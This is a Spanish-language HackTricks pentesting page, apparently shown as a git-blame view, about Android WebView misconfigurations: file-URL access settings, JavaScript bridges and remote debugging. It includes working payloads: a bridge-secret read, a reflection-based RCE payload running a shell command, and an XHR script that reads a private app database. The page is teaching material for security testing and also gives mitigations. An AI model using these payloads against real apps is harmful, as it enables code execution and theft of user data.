hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

179 lines
14 KiB
Markdown
Raw Normal View History

2023-06-03 01:46:23 +00:00
# Configuraciones interesantes
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
## Acceso a archivos
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
El acceso a archivos de _WebView_ está habilitado por defecto. Desde la API 3 (Cupcake 1.5) está disponible el método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) para habilitarlo o deshabilitarlo explícitamente.\
Si la aplicación tiene _**android.permission.READ\_EXTERNAL\_STORAGE**_ podrá leer y cargar archivos **desde el almacenamiento externo**.\
El _WebView_ necesita usar un esquema de URL de archivo, por ejemplo, `file://path/file`, para acceder al archivo.
2023-06-03 01:46:23 +00:00
### Acceso universal desde URL de archivo (obsoleto)
2023-06-03 01:46:23 +00:00
> Establece si las solicitudes **cross-origin** en el **contexto de una URL de esquema de archivo** deben permitir el acceso a **contenido desde cualquier origen**. Esto incluye **acceso a contenido desde otras URL de esquema de archivo o contextos web.** Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.
2021-05-29 13:27:23 +00:00
>
2023-06-03 01:46:23 +00:00
> **No** habilite esta configuración si abre archivos que pueden ser creados o alterados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto `file://` lancen ataques de scripting entre sitios, accediendo a **archivos locales arbitrarios**, incluidas las cookies de WebView, los datos privados de la aplicación o incluso las credenciales utilizadas en sitios web arbitrarios.
2023-06-03 01:46:23 +00:00
En resumen, esto **evitará la carga de orígenes arbitrarios**. La aplicación enviará la solicitud de URL para cargar el contenido con **`Origin: file://`** si la respuesta no permite ese origen (**`Access-Control-Allow-Origin: file://`**), entonces el contenido no se cargará.\
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) y superior.
2023-06-03 01:46:23 +00:00
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber si JavaScript que se ejecuta en el contexto de una URL de esquema de archivo puede acceder a contenido desde cualquier origen (si se habilita UniversalAccessFromFileURL).
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) para habilitarlo o deshabilitarlo.
2021-05-29 13:27:23 +00:00
2021-05-29 16:57:06 +00:00
{% hint style="info" %}
2023-06-03 01:46:23 +00:00
Usar **`loadDataWithBaseURL()`** con `null` como baseURL también **evitará la carga de archivos locales** incluso si todas las configuraciones peligrosas están habilitadas.
2021-05-29 16:57:06 +00:00
{% endhint %}
2023-06-03 01:46:23 +00:00
### Acceso a archivos desde URL de archivo (obsoleto) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
2021-05-29 13:27:23 +00:00
2023-06-03 01:46:23 +00:00
> Establece si las solicitudes **cross-origin** en el **contexto de una URL de esquema de archivo** deben permitir el acceso a contenido desde otras URL de esquema de archivo. Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.
2021-05-29 13:27:23 +00:00
>
2023-06-03 01:46:23 +00:00
> **No** habilite esta configuración si abre archivos que pueden ser creados o alterados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto `file://` accedan a archivos locales arbitrarios, incluidas las cookies de WebView y los datos privados de la aplicación.
2021-05-29 13:27:23 +00:00
2023-06-03 01:46:23 +00:00
En resumen, esto evita que JavaScript acceda a archivos locales a través del protocolo `file://`.\
Tenga en cuenta que **el valor de esta configuración se ignora** si el valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) es `true`. \
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) y superior.
2021-05-29 13:27:23 +00:00
2023-06-03 01:46:23 +00:00
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber si JavaScript se está ejecutando en el contexto de una URL de esquema de archivo y puede acceder a contenido desde otras URL de esquema de archivo.
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) para habilitarlo o deshabilitarlo.
2021-05-29 13:27:23 +00:00
2023-06-03 01:46:23 +00:00
### Acceso a archivos
2021-05-29 13:27:23 +00:00
2023-06-03 01:46:23 +00:00
> Habilita o deshabilita el **acceso a archivos dentro de WebView**. Tenga en cuenta que esto habilita o deshabilita el acceso al sistema de archivos solamente. Los activos y recursos siguen siendo accesibles mediante file:///android_asset y file:///android_res.
2021-05-29 13:27:23 +00:00
2023-06-03 01:46:23 +00:00
En resumen, si se deshabilita, el WebView no podrá cargar un archivo local con el protocolo `file://`.\
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) y superior.
2021-05-29 13:27:23 +00:00
2023-06-03 01:46:23 +00:00
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) para saber si la configuración está habilitada.
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) para habilitarlo o deshabilitarlo.
2022-05-01 12:41:36 +00:00
### WebViewAssetLoader
2021-05-29 17:00:27 +00:00
2023-06-03 01:46:23 +00:00
> Clase auxiliar para cargar archivos locales, incluidos los activos estáticos y los recursos de la aplicación, utilizando URL http(s):// dentro de una clase [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html). Cargar archivos locales utilizando URL similares a las web en lugar de `"file://"` es deseable ya que es compatible con la política de mismo origen.
2021-05-29 17:00:27 +00:00
2023-06-03 01:46:23 +00:00
Esta es la nueva forma recomendada de cargar archivos locales. El objetivo es **acceder a archivos locales utilizando una URL HTTP con el dominio**. De esta manera, la **CORS** se puede **mantener fácilmente** entre las **páginas web** locales y las **páginas web** que se descargan del servidor web.
2021-05-29 17:00:27 +00:00
2023-06-03 01:46:23 +00:00
## Javascript habilitado
2021-05-29 16:28:54 +00:00
2023-06-03 01:46:23 +00:00
Los WebViews tienen Javascript **deshabilitado por defecto**. El método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) puede habilitarlo o deshabilitarlo explícitamente. \
Tenga en cuenta que los webviews también pueden admitir el **esquema de intención** que permite lanzar otras aplicaciones. Lea este [artículo para saber cómo pasar de XSS a RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
2021-05-29 16:28:54 +00:00
2023-06-03 01:46:23 +00:00
## Puente de Javascript
2021-05-29 16:28:54 +00:00
2023-06-03 01:46:23 +00:00
Android ofrece una forma para que el JavaScript ejecutado en un WebView llame y use **funciones nativas de una aplicación de Android** (anotadas con `@JavascriptInterface`) mediante el uso del método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Esto se conoce como un _WebView JavaScript bridge_ o _native bridge_.
2021-05-29 16:28:54 +00:00
2023-06-03 01:46:23 +00:00
Tenga en cuenta que **cuando usa `addJavascriptInterface`, está otorgando explícitamente acceso al objeto de interfaz de JavaScript registrado a todas las páginas cargadas dentro de ese WebView**. Esto implica que, si el usuario navega fuera de su aplicación o dominio, todas las demás páginas externas también tendrán acceso a esos objetos de interfaz de JavaScript, lo que podría presentar un riesgo potencial de seguridad si se expone algún dato sensible a través de esas interfaces.
2021-05-29 16:28:54 +00:00
2023-06-03 01:46:23 +00:00
> Advertencia: Tenga mucho cuidado con las aplicaciones que apuntan a versiones de Android anteriores
2021-05-29 16:28:54 +00:00
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
2021-05-29 16:57:06 +00:00
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
2021-05-29 16:28:54 +00:00
}
```
```javascript
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
```markup
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
```
2023-06-03 01:46:23 +00:00
Con acceso al código JavaScript, a través de, por ejemplo, una **XSS** almacenada, un ataque **MITM** o un **sitio web malicioso** que se carga dentro del WebView, se puede llamar directamente a los métodos Java expuestos.
2021-05-29 16:28:54 +00:00
{% hint style="info" %}
2023-06-03 01:46:23 +00:00
Tenga en cuenta que en el caso de intentar explotar esta vulnerabilidad a través de una **Redirección Abierta a una página web del atacante que accede al Objeto Nativo de Android**. Si el acceso a la redirección se realiza a través de un **navegador móvil** y **no se utiliza** el mismo **WebView**, el **navegador no podrá acceder al objeto nativo de Android**.
2021-05-29 16:28:54 +00:00
{% endhint %}
2023-06-03 01:46:23 +00:00
Si es necesario utilizar `addJavascriptInterface`, tenga en cuenta las siguientes consideraciones:
2021-05-29 16:28:54 +00:00
2023-06-03 01:46:23 +00:00
* **Solo se debe permitir que el JavaScript proporcionado** con el APK use los puentes, por ejemplo, verificando la URL en cada método Java conectado (a través de `WebView.getUrl`).
* **No se debe cargar JavaScript desde puntos finales remotos**, por ejemplo, manteniendo la navegación de la página dentro de los dominios de la aplicación y abriendo todos los demás dominios en el navegador predeterminado (por ejemplo, Chrome, Firefox).
* Si es necesario por razones de compatibilidad (por ejemplo, tener que admitir dispositivos más antiguos), **al menos establezca el nivel de API mínimo en 17** en el archivo de manifiesto de la aplicación (`<uses-sdk android:minSdkVersion="17" />`).
2021-05-29 16:28:54 +00:00
2023-06-03 01:46:23 +00:00
## Puente de JavaScript a RCE a través de Reflection
2021-05-29 16:28:54 +00:00
2023-06-03 01:46:23 +00:00
Como se señala en [**esta investigación**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_revísela para obtener ideas en caso de obtener RCE_), una vez que se encuentra un JavascriptBridge, es posible obtener **RCE** a través de **Reflection** utilizando una carga útil como la siguiente:
2021-05-29 16:28:54 +00:00
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```
2023-06-03 01:46:23 +00:00
Sin embargo, las aplicaciones modernas pueden usar la **anotación `@JavascriptInterface`** que indica al JavascriptBridge que solo el método con esta anotación debe ser **expuesto**.\
En ese escenario, no podrás abusar de Reflection para ejecutar código arbitrario.
2021-05-29 16:28:54 +00:00
2023-06-03 01:46:23 +00:00
## Depuración remota
2021-05-29 16:28:54 +00:00
2023-06-03 01:46:23 +00:00
La **depuración remota** de WebView permite acceder al WebView con las **Herramientas de desarrollo de Chrome**.\
El **dispositivo** debe ser **accesible** por la PC (a través de USB, emulador local, red local...) y ejecutar el WebView depurable, luego acceder a **chrome://inspect/#devices**:
![](<../../.gitbook/assets/image (525).png>)
2023-06-03 01:46:23 +00:00
Selecciona **inspeccionar** y se abrirá una nueva ventana. En esta ventana puedes **interactuar con el contenido** del **WebView** e incluso hacer que ejecute código JS arbitrario desde la pestaña de **consola**:
![](<../../.gitbook/assets/image (526).png>)
2023-06-03 01:46:23 +00:00
Para habilitar la **depuración remota de WebView** puedes hacer algo como:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
2023-06-03 01:46:23 +00:00
**Esta configuración se aplica a todos los WebViews de la aplicación.**
{% hint style="info" %}
2023-06-03 01:46:23 +00:00
**La depuración de WebView no se ve afectada por el estado de la bandera `debuggable`** en el manifiesto de la aplicación. Si desea habilitar la depuración de WebView solo cuando `debuggable` es `true`, pruebe la bandera en tiempo de ejecución.
{% endhint %}
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
2023-06-03 01:46:23 +00:00
# Cargas útiles
2023-06-03 01:46:23 +00:00
## Exfiltrar archivos arbitrarios
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
2021-05-29 16:57:06 +00:00
alert(xhr.responseText);
}
}
2021-05-29 16:57:06 +00:00
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
2023-06-03 01:46:23 +00:00
# Referencias
2021-05-29 16:57:06 +00:00
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
2021-05-29 16:57:06 +00:00
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>